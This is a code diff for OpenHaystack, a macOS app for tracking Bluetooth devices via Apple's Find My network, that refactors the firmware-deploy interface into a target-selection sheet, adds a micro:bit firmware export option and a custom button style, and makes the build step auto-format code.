78486BEE25DD711E0007ED87 /* PopUpAlertView.swift */,
|
||||
@@ -374,6 +377,14 @@
|
||||
path = Views;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
78F8BB4A261C50D500D9F37F /* Styles */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */,
|
||||
);
|
||||
path = Styles;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
F12D5A5E25FA79D600CBBA09 /* Bluetooth */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
@@ -541,7 +552,7 @@
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "if command -v swift-format >/dev/null; then\n swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
|
||||
shellScript = "if command -v swift-format >/dev/null; then\n swift-format format -i -r \"$SRCROOT\"; swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
|
||||
};
|
||||
F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
@@ -615,6 +626,7 @@
|
||||
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */,
|
||||
781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */,
|
||||
781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */,
|
||||
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */,
|
||||
781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */,
|
||||
781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */,
|
||||
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */,
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"color" : {
|
||||
"color-space" : "gray-gamma-22",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"white" : "0.866"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
},
|
||||
{
|
||||
"appearances" : [
|
||||
{
|
||||
"appearance" : "luminosity",
|
||||
"value" : "dark"
|
||||
}
|
||||
],
|
||||
"color" : {
|
||||
"color-space" : "gray-gamma-22",
|
||||
"components" : {
|
||||
"alpha" : "0.758",
|
||||
"white" : "0.310"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"color" : {
|
||||
"color-space" : "gray-gamma-22",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"white" : "0.657"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
},
|
||||
{
|
||||
"appearances" : [
|
||||
{
|
||||
"appearance" : "luminosity",
|
||||
"value" : "dark"
|
||||
}
|
||||
],
|
||||
"color" : {
|
||||
"color-space" : "gray-gamma-22",
|
||||
"components" : {
|
||||
"alpha" : "0.758",
|
||||
"white" : "0.237"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -157,6 +157,7 @@ class AccessoryController: ObservableObject {
|
||||
//MARK: Location reports
|
||||
|
||||
/// Download the location reports from.
|
||||
///
|
||||
/// - Parameter completion: called when the reports have been succesfully downloaded or the request has failed
|
||||
func downloadLocationReports(completion: @escaping (Result<Void, OpenHaystackMainView.AlertType>) -> Void) {
|
||||
AnisetteDataManager.shared.requestAnisetteData { result in
|
||||
|
||||
@@ -74,10 +74,8 @@ struct MicrobitController {
|
||||
return patchedFirmware
|
||||
}
|
||||
|
||||
static func deploy(accessory: Accessory) throws {
|
||||
let microbits = try MicrobitController.findMicrobits()
|
||||
guard let microBitURL = microbits.first,
|
||||
let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
|
||||
static func patchFirmware(for accessory: Accessory) throws -> Data {
|
||||
guard let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
|
||||
else {
|
||||
throw FirmwareFlashError.notFound
|
||||
}
|
||||
@@ -87,6 +85,18 @@ struct MicrobitController {
|
||||
let publicKey = try accessory.getAdvertisementKey()
|
||||
let patchedFirmware = try MicrobitController.patchFirmware(firmware, pattern: pattern, with: publicKey)
|
||||
|
||||
return patchedFirmware
|
||||
}
|
||||
|
||||
static func deploy(accessory: Accessory) throws {
|
||||
let microbits = try MicrobitController.findMicrobits()
|
||||
guard let microBitURL = microbits.first
|
||||
else {
|
||||
throw FirmwareFlashError.notFound
|
||||
}
|
||||
|
||||
let patchedFirmware = try self.patchFirmware(for: accessory)
|
||||
|
||||
try MicrobitController.deployToMicrobit(microBitURL, firmwareFile: patchedFirmware)
|
||||
}
|
||||
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import os
|
||||
|
||||
struct ManageAccessoriesView: View {
|
||||
|
||||
@@ -21,6 +22,7 @@ struct ManageAccessoriesView: View {
|
||||
@Binding var focusedAccessory: Accessory?
|
||||
@Binding var accessoryToDeploy: Accessory?
|
||||
@Binding var showESP32DeploySheet: Bool
|
||||
@State var sheetShown: SheetType?
|
||||
|
||||
@State var showMailPopup = false
|
||||
|
||||
@@ -42,11 +44,14 @@ struct ManageAccessoriesView: View {
|
||||
.toolbar(content: {
|
||||
self.toolbarView
|
||||
})
|
||||
.sheet(
|
||||
isPresented: self.$showESP32DeploySheet,
|
||||
content: {
|
||||
.sheet(item: self.$sheetShown) { sheetType in
|
||||
switch sheetType {
|
||||
case .esp32Install:
|
||||
ESP32InstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType)
|
||||
})
|
||||
case .deployFirmware:
|
||||
self.selectTargetView
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Accessory List view.
|
||||
@@ -103,6 +108,57 @@ struct ManageAccessoriesView: View {
|
||||
}
|
||||
}
|
||||
|
||||
var selectTargetView: some View {
|
||||
VStack {
|
||||
Text("Select target")
|
||||
.font(.title)
|
||||
Text("Please select to which device you want to deply")
|
||||
.padding(.bottom, 4)
|
||||
|
||||
VStack {
|
||||
Button(
|
||||
"Micro:bit",
|
||||
action: {
|
||||
self.sheetShown = nil
|
||||
if let accessory = self.accessoryToDeploy {
|
||||
self.deployAccessoryToMicrobit(accessory: accessory)
|
||||
}
|
||||
}
|
||||
)
|
||||
.buttonStyle(LargeButtonStyle())
|
||||
|
||||
Button(
|
||||
"Export Microbit firmware",
|
||||
action: {
|
||||
self.sheetShown = nil
|
||||
if let accessory = self.accessoryToDeploy {
|
||||
self.exportMicrobitFirmware(for: accessory)
|
||||
}
|
||||
}
|
||||
)
|
||||
.buttonStyle(LargeButtonStyle())
|
||||
|
||||
Button(
|
||||
"ESP32",
|
||||
action: {
|
||||
self.sheetShown = .esp32Install
|
||||
}
|
||||
)
|
||||
.buttonStyle(LargeButtonStyle())
|
||||
|
||||
Button(
|
||||
"Cancel",
|
||||
action: {
|
||||
self.sheetShown = nil
|
||||
}
|
||||
)
|
||||
.buttonStyle(LargeButtonStyle(destructive: true))
|
||||
}
|
||||
|
||||
}
|
||||
.padding()
|
||||
}
|
||||
|
||||
/// Delete an accessory from the list of accessories.
|
||||
func delete(accessory: Accessory) {
|
||||
do {
|
||||
@@ -114,7 +170,7 @@ struct ManageAccessoriesView: View {
|
||||
|
||||
func deploy(accessory: Accessory) {
|
||||
self.accessoryToDeploy = accessory
|
||||
self.alertType = .selectDepoyTarget
|
||||
self.sheetShown = .deployFirmware
|
||||
}
|
||||
|
||||
/// Add an accessory with the provided details.
|
||||
@@ -149,6 +205,58 @@ struct ManageAccessoriesView: View {
|
||||
}
|
||||
}
|
||||
|
||||
/// Deploy the public key of the accessory to a BBC microbit.
|
||||
func deployAccessoryToMicrobit(accessory: Accessory) {
|
||||
do {
|
||||
try MicrobitController.deploy(accessory: accessory)
|
||||
} catch {
|
||||
os_log("Error occurred %@", String(describing: error))
|
||||
self.alertType = .deployFailed
|
||||
return
|
||||
}
|
||||
|
||||
self.alertType = .deployedSuccessfully
|
||||
accessory.isDeployed = true
|
||||
self.accessoryToDeploy = nil
|
||||
}
|
||||
|
||||
func exportMicrobitFirmware(for accessory: Accessory) {
|
||||
do {
|
||||
let firmware = try MicrobitController.patchFirmware(for: accessory)
|
||||
|
||||
let savePanel = NSSavePanel()
|
||||
savePanel.allowedFileTypes = ["bin"]
|
||||
savePanel.canCreateDirectories = true
|
||||
savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
|
||||
savePanel.message = "Export the micro:bit firmware"
|
||||
savePanel.nameFieldLabel = "Firmware name"
|
||||
savePanel.nameFieldStringValue = "openhaystack_firmware.bin"
|
||||
savePanel.prompt = "Export"
|
||||
savePanel.title = "Export firmware"
|
||||
|
||||
let result = savePanel.runModal()
|
||||
|
||||
if result == .OK,
|
||||
let url = savePanel.url
|
||||
{
|
||||
// Store the accessory file
|
||||
try firmware.write(to: url)
|
||||
}
|
||||
|
||||
} catch {
|
||||
os_log("Error occurred %@", String(describing: error))
|
||||
self.alertType = .exportFailed
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
enum SheetType: Int, Identifiable {
|
||||
var id: Int {
|
||||
return self.rawValue
|
||||
}
|
||||
case esp32Install
|
||||
case deployFirmware
|
||||
}
|
||||
}
|
||||
|
||||
struct ManageAccessoriesView_Previews: PreviewProvider {
|
||||
|
||||
@@ -221,26 +221,6 @@ struct OpenHaystackMainView: View {
|
||||
.frame(width: 250, height: 120)
|
||||
}
|
||||
|
||||
func deploy(accessory: Accessory) {
|
||||
self.accessoryToDeploy = accessory
|
||||
self.alertType = .selectDepoyTarget
|
||||
}
|
||||
|
||||
/// Deploy the public key of the accessory to a BBC microbit.
|
||||
func deployAccessoryToMicrobit(accessory: Accessory) {
|
||||
do {
|
||||
try MicrobitController.deploy(accessory: accessory)
|
||||
} catch {
|
||||
os_log("Error occurred %@", String(describing: error))
|
||||
self.alertType = .deployFailed
|
||||
return
|
||||
}
|
||||
|
||||
self.alertType = .deployedSuccessfully
|
||||
accessory.isDeployed = true
|
||||
self.accessoryToDeploy = nil
|
||||
}
|
||||
|
||||
/// Ask to install and activate the mail plugin.
|
||||
func installMailPlugin() {
|
||||
let pluginManager = MailPluginManager()
|
||||
@@ -373,20 +353,6 @@ struct OpenHaystackMainView: View {
|
||||
action: {
|
||||
self.downloadPlugin()
|
||||
}), secondaryButton: .cancel())
|
||||
case .selectDepoyTarget:
|
||||
let microbitButton = Alert.Button.default(Text("Microbit"), action: { self.deployAccessoryToMicrobit(accessory: self.accessoryToDeploy!) })
|
||||
|
||||
let esp32Button = Alert.Button.default(
|
||||
Text("ESP32"),
|
||||
action: {
|
||||
self.showESP32DeploySheet = true
|
||||
})
|
||||
|
||||
return Alert(
|
||||
title: Text("Select target"),
|
||||
message: Text("Please select to which device you want to deploy"),
|
||||
primaryButton: microbitButton,
|
||||
secondaryButton: esp32Button)
|
||||
case .downloadingReportsFailed:
|
||||
return Alert(
|
||||
title: Text("Downloading locations failed"),
|
||||
@@ -419,7 +385,6 @@ struct OpenHaystackMainView: View {
|
||||
case downloadingReportsFailed
|
||||
case activatePlugin
|
||||
case pluginInstallFailed
|
||||
case selectDepoyTarget
|
||||
case exportFailed
|
||||
case importFailed
|
||||
}
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
|
||||
struct LargeButtonStyle: ButtonStyle {
|
||||
|
||||
var active: Bool = false
|
||||
var destructive: Bool = false
|
||||
|
||||
func makeBody(configuration: Configuration) -> some View {
|
||||
ZStack {
|
||||
if configuration.isPressed {
|
||||
RoundedRectangle(cornerRadius: 5.0)
|
||||
.fill(Color.accentColor)
|
||||
} else {
|
||||
RoundedRectangle(cornerRadius: 5.0)
|
||||
.fill(self.active ? Color.accentColor : self.destructive ? Color.red : Color("Button"))
|
||||
}
|
||||
|
||||
configuration.label
|
||||
.font(Font.headline)
|
||||
.padding(6)
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user